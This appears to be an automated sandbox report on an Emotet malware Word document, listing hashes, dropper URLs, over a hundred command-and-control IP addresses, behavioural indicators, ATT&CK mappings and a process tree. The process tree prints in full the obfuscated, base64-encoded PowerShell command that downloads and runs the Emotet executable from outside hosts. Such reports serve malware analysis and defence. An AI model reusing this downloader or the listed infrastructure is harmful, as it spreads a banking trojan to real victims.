emotet | 1ffeb45aff1c0f5aa29bae90eae313b09ddbf7345bd6be0e2d8c1daee921b873

Analysis

max time kernel
136s
max time network
152s
platform
windows10_x64
resource
win10
submitted
23/09/2020, 23:13

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General

Target
emotet_e1_1ffeb45aff1c0f5aa29bae90eae313b09ddbf7345bd6be0e2d8c1daee921b873_2020-09-23__230807723897._doc.doc
Size 158KB
Sample200923-xtlbc44s22
SHA256 1ffeb45aff1c0f5aa29bae90eae313b09ddbf7345bd6be0e2d8c1daee921b873
MD5 e30c0f818a62b0a086f24dc7b28cacb2
SHA1 4ac4d175db475d050c8cb1b0dd19b2748f04643c
SHA512 dc10d311e2d1306904a4b3cdbd55dc2637b7127b9f28dc70200835270eec19ffaddf7624c41fcbb9774522dd509e168dbb71535659a3195da66b6a2b95c57624
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://magnusdc.com/MR/
exe.dropper
http://datummachines.com/assets/u/
exe.dropper
http://immigrationquestion.com/3x_beast/Ty9/
exe.dropper
http://122.117.44.59/wordpress/gS/
exe.dropper
http://3.212.194.3/cwscwi/6u/
exe.dropper
http://41.89.94.30/web/8/
exe.dropper
http://srksmaisw.org/manufacturer/h/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1892	2556	POWeRsHeLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3688-13-0x0000000000720000-0x0000000000732000-memory.dmp	emotet
behavioral2/memory/3688-13-0x0000000000720000-0x0000000000732000-memory.dmp	emotet
behavioral2/memory/3688-14-0x00000000005C0000-0x00000000005D0000-memory.dmp	emotet
behavioral2/memory/3688-14-0x00000000005C0000-0x00000000005D0000-memory.dmp	emotet
behavioral2/memory/2744-17-0x00000000004D0000-0x00000000004E2000-memory.dmp	emotet
behavioral2/memory/2744-17-0x00000000004D0000-0x00000000004E2000-memory.dmp	emotet
behavioral2/memory/2744-18-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2744-18-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1892	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3688	Jl99ti.exe
2744	Windows.Devices.WiFi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\BioCredProv\Windows.Devices.WiFi.exe	Jl99ti.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1892	POWeRsHeLL.exe
1892	POWeRsHeLL.exe
1892	POWeRsHeLL.exe
2744	Windows.Devices.WiFi.exe
2744	Windows.Devices.WiFi.exe
2744	Windows.Devices.WiFi.exe
2744	Windows.Devices.WiFi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1892	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3688	Jl99ti.exe
2744	Windows.Devices.WiFi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 3688	1892	POWeRsHeLL.exe	78
PID 1892 wrote to memory of 3688	1892	POWeRsHeLL.exe	78
PID 1892 wrote to memory of 3688	1892	POWeRsHeLL.exe	78
PID 3688 wrote to memory of 2744	3688	Jl99ti.exe	83
PID 3688 wrote to memory of 2744	3688	Jl99ti.exe	83
PID 3688 wrote to memory of 2744	3688	Jl99ti.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_1ffeb45aff1c0f5aa29bae90eae313b09ddbf7345bd6be0e2d8c1daee921b873_2020-09-23__230807723897._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3024

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABHAGcAbQB5ADMAeAByAD0AKAAoACcASgAnACsAJwB1AHEAawAnACkAKwAoACcANwBoACcAKwAnAG8AJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAUAByAG8ARgBJAGwAZQBcAGEAOAA2ADIASAAxAG4AXABZAE4AUABuAFcAawBWAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAEUAYwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAHIASQB0AGAAWQBgAFAAUgBgAG8AYABUAGAAbwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACAAdAAnACkAKwAnAGwAcwAnACsAJwAxACcAKwAoACcAMQAsACcAKwAnACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABFADYANABfAGQAegA2ACAAPQAgACgAKAAnAEoAbAA5ACcAKwAnADkAJwApACsAJwB0ACcAKwAnAGkAJwApADsAJABDAGoANQBzAHYAMABpAD0AKAAoACcAWABrACcAKwAnAHAAMQA4ACcAKQArACcAbQAnACsAJwBnACcAKQA7ACQAVgB3AGoAcAAwAG4AdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBBADgANgAnACsAKAAnADIAaAAnACsAJwAxACcAKQArACcAbgB7ACcAKwAnADAAfQBZAG4AcABuACcAKwAnAHcAawB2AHsAMAB9ACcAKQAtAEYAWwBjAGgAQQByAF0AOQAyACkAKwAkAEUANgA0AF8AZAB6ADYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEoAcAB1AG4AeQBrAGMAPQAoACcAVABfACcAKwAoACcAbABfAGsAbQAnACsAJwB5ACcAKQApADsAJABUAGoAdgBmAGoAYgBiAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBCAGMAbABpAEUAbgBUADsAJABSADAAMQB3AGYAegBnAD0AKAAoACcAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAbQBhACcAKwAnAGcAJwApACsAKAAnAG4AdQAnACsAJwBzACcAKQArACcAZABjACcAKwAoACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8ATQAnACsAKAAnAFIALwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAZABhACcAKwAoACcAdAB1AG0AbQAnACsAJwBhACcAKwAnAGMAaABpACcAKwAnAG4AJwApACsAJwBlACcAKwAoACcAcwAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAGEAcwAnACkAKwAoACcAcwAnACsAJwBlAHQAcwAvAHUAJwApACsAKAAnAC8AKgBoACcAKwAnAHQAdABwADoALwAnACkAKwAoACcALwBpAG0AJwArACcAbQAnACsAJwBpAGcAcgBhAHQAaQBvAG4AcQAnACsAJwB1AGUAJwArACcAcwB0ACcAKwAnAGkAbwAnACsAJwBuAC4AYwBvACcAKwAnAG0ALwAzAHgAXwBiAGUAJwArACcAYQBzAHQALwAnACkAKwAnAFQAJwArACgAJwB5ADkALwAnACsAJwAqAGgAJwApACsAKAAnAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwAxADIAMgAnACkAKwAoACcALgAnACsAJwAxADEANwAuADQAJwApACsAJwA0ACcAKwAnAC4AJwArACgAJwA1ADkAJwArACcALwAnACkAKwAoACcAdwBvAHIAZABwAHIAJwArACcAZQAnACsAJwBzACcAKQArACcAcwAnACsAJwAvAGcAJwArACgAJwBTAC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwAzAC4AMgAnACsAJwAxACcAKQArACcAMgAuACcAKwAoACcAMQA5ADQALgAzACcAKwAnAC8AYwAnACsAJwB3AHMAYwB3ACcAKQArACcAaQAvACcAKwAnADYAJwArACcAdQAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8AJwArACgAJwAvADQAMQAnACsAJwAuACcAKQArACgAJwA4ADkAJwArACcALgAnACkAKwAnADkAJwArACgAJwA0ACcAKwAnAC4AMwAwAC8AdwAnACkAKwAoACcAZQBiAC8AJwArACcAOAAnACkAKwAnAC8AKgAnACsAJwBoACcAKwAnAHQAJwArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvAHMAJwArACcAcgBrACcAKQArACcAcwAnACsAKAAnAG0AJwArACcAYQAnACsAJwBpAHMAdwAuACcAKQArACgAJwBvAHIAZwAnACsAJwAvAG0AJwArACcAYQAnACkAKwAnAG4AdQAnACsAJwBmAGEAJwArACcAYwB0ACcAKwAnAHUAcgAnACsAJwBlAHIAJwArACcALwAnACsAJwBoACcAKwAnAC8AJwApAC4AIgBzAGAAcABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEAXwBqAHAAOQBmADgAPQAoACcARAAnACsAKAAnAF8AJwArACcAdQBhAHIAJwApACsAJwByAHIAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVQBpAGoAOQA1AG8AXwAgAGkAbgAgACQAUgAwADEAdwBmAHoAZwApAHsAdAByAHkAewAkAFQAagB2AGYAagBiAGIALgAiAEQAYABPAHcATgBsAE8AYABBAEQAYABGAGkAbABFACIAKAAkAFUAaQBqADkANQBvAF8ALAAgACQAVgB3AGoAcAAwAG4AdgApADsAJABFAGYAdQBzAF8ANgB0AD0AKAAoACcARQBrADIAJwArACcAdgB5ACcAKQArACcAagBrACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABWAHcAagBwADAAbgB2ACkALgAiAGwARQBuAGAAZwB0AEgAIgAgAC0AZwBlACAAMwAxADAAMgAyACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAFYAdwBqAHAAMABuAHYAKQA7ACQATwB6ADgAZAAzAGkAaQA9ACgAKAAnAEUAaQB5ADIAJwArACcAYwAnACkAKwAnAGMAagAnACkAOwBiAHIAZQBhAGsAOwAkAE4ANABlADMAZgA2AGcAPQAoACgAJwBMACcAKwAnAGkAeQBvACcAKQArACcAbAAnACsAJwAxADcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABaAG8ANwA0AHUAeQBwAD0AKAAnAEkAJwArACcAXwAnACsAKAAnADQAeAA2ACcAKwAnAGIAZAAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Users\Admin\A862h1n\Ynpnwkv\Jl99ti.exe
  "C:\Users\Admin\A862h1n\Ynpnwkv\Jl99ti.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3688
- - C:\Windows\SysWOW64\BioCredProv\Windows.Devices.WiFi.exe
    "C:\Windows\SysWOW64\BioCredProv\Windows.Devices.WiFi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2744

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1892-8-0x0000025F54050000-0x0000025F54051000-memory.dmp

Download

memory/1892-7-0x00007FFF524A0000-0x00007FFF52E8C000-memory.dmp

Download

memory/1892-9-0x0000025F54460000-0x0000025F54461000-memory.dmp

Download

memory/2744-18-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/2744-17-0x00000000004D0000-0x00000000004E2000-memory.dmp

Download

memory/3024-1-0x000002AF8BE64000-0x000002AF8BE69000-memory.dmp

Download

memory/3024-5-0x000002AF8C107000-0x000002AF8C10C000-memory.dmp

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memory/3024-6-0x000002AF8C107000-0x000002AF8C10C000-memory.dmp

Download

memory/3024-0-0x00007FFF59A10000-0x00007FFF5A0D6000-memory.dmp

Download

memory/3024-4-0x000002AF8C102000-0x000002AF8C107000-memory.dmp

Download

memory/3024-3-0x000002AF8C102000-0x000002AF8C107000-memory.dmp

Download

memory/3024-2-0x000002AF8BE64000-0x000002AF8BE69000-memory.dmp

Download

memory/3688-14-0x00000000005C0000-0x00000000005D0000-memory.dmp

Download

memory/3688-13-0x0000000000720000-0x0000000000732000-memory.dmp

Download